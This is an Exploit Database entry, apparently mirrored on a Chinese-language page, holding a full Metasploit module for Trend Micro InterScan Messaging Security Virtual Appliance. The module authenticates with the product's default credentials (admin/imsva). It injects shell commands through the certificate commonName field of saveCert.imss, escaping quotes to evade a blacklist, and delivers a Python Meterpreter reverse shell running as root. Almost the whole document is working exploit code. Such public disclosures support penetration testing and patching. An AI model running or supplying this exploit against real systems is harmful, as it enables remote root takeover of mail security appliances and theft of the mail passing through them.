Trend Micro InterScan Messaging Security (Virtual Appliance) < 9.1.-1600 - Remote Code Execution (Metasploit)

• Exploit Database
• 18 阅读

• 作者： Mehmet Ince
  日期： 2017-01-15
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/41461/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info={})
  super(update_info(info,
  'Name' => 'Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution',
  'Description'=> %q{
  This module exploits a command injection vulnerability in the Trend Micro
  IMSVA product. An authenticated user can execute a terminal command under
  the context of the web server user which is root. Besides, default installation
  of IMSVA comes with a default administrator credentials.
  saveCert.imss endpoint takes several user inputs and performs blacklisting.
  After that it use them as argument of predefined operating system command
  without proper sanitation. However,due to improper blacklisting rule it's possible to inject
  arbitrary commands into it. InterScan Messaging Security prior to 9.1.-1600 affected by this issue.
  This module was tested against IMSVA 9.1-1600.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Mehmet Ince <mehmet@mehmetince.net>' # discovery & msf module
  ],
  'References' =>
  [
  ['URL', 'https://pentest.blog/advisory-trend-micro-interscan-messaging-security-virtual-appliance-remote-code-execution/']
  ],
  'Privileged' => true,
  'Payload'=>
  {
  'Space' => 1024,
  'DisableNops' => true,
  'BadChars'=> "\x2f\x22"
  },
  'DefaultOptions' =>
  {
  'SSL' => true,
  'payload' => 'python/meterpreter/reverse_tcp',
  },
  'Platform' => ['python'],
  'Arch' => ARCH_PYTHON,
  'Targets'=> [ ['Automatic', {}] ],
  'DisclosureDate' => 'Jan 15 2017',
  'DefaultTarget'=> 0
   ))
  
  register_options(
  [
  OptString.new('TARGETURI', [true, 'The target URI of the Trend Micro IMSVA', '/']),
  OptString.new('USERNAME', [ true, 'The username for authentication', 'admin' ]),
  OptString.new('PASSWORD', [ true, 'The password for authentication', 'imsva' ]),
  Opt::RPORT(8445)
  ]
  )
  end
  
  def login
  
  user = datastore['USERNAME']
  pass = datastore['PASSWORD']
  
  print_status("Attempting to login with #{user}:#{pass}")
  
  res = send_request_cgi({
  'method' => 'POST',
  'uri'=> normalize_uri(target_uri.path, 'login.imss'),
  'vars_post' => {
  'userid' => user,
  'pwdfake' => Rex::Text::encode_base64(pass)
  }
  })
  
  if res && res.body.include?("The user name or password you entered is invalid")
  fail_with(Failure::NoAccess, "#{peer} - Login with #{user}:#{pass} failed...")
  end
  
  cookie = res.get_cookies
  if res.code == 302 && cookie.include?("JSESSIONID")
  jsessionid = cookie.scan(/JSESSIONID=(\w+);/).flatten.first
  print_good("Authenticated as #{user}:#{pass}")
  return jsessionid
  end
  
  nil
  end
  
  def exploit
  
  jsessionid = login
  
  unless jsessionid
  fail_with(Failure::Unknown, 'Unable to obtain the cookie session ID')
  end
  
  # Somehow java stores last visited url on session like viewstate!
  # Visit form before submitting it. Otherwise, it will cause a crash.
  
  res = send_request_cgi({
  'method' => 'POST',
  'uri'=> normalize_uri(target_uri.path, 'initCert.imss'),
  'cookie' => "JSESSIONID=#{jsessionid}"
  })
  
  if !res or !res.body.include?("Transport Layer Security")
  fail_with(Failure::Unknown, 'Unable to visit initCert.imss')
  end
  
  # Random string that will be used as a cert name, state, email etc.
  r = Rex::Text::rand_text_alphanumeric(5)
  
  print_status("Delivering payload...")
  
  # Since double quote are blacklisted, we are using Single, Backslash, Single, Single on our payload. Thanks to @wvu !!!
  res = send_request_cgi({
  'method' => 'POST',
  'uri'=> normalize_uri(target_uri.path, 'saveCert.imss'),
  'cookie' => "JSESSIONID=#{jsessionid}",
  'vars_get' => {
  'mode' => 0
  },
  'vars_post' => {
  'certName' => r,
  'certType' => 0,
  'keyLength' => 2048,
  'countryCode' => 'TR',
  'state' => r,
  'locality' => r,
  'org' => r,
  'orgUnit' => r,
  'commonName' => "#{r}';python -c '#{payload.encoded.gsub("'", "'\\\\''")}' #",
  'emailAddress' => "#{r}@mail.com",
  'validDays' => '',
  'id' => '',
  }
  })
  end
  
  end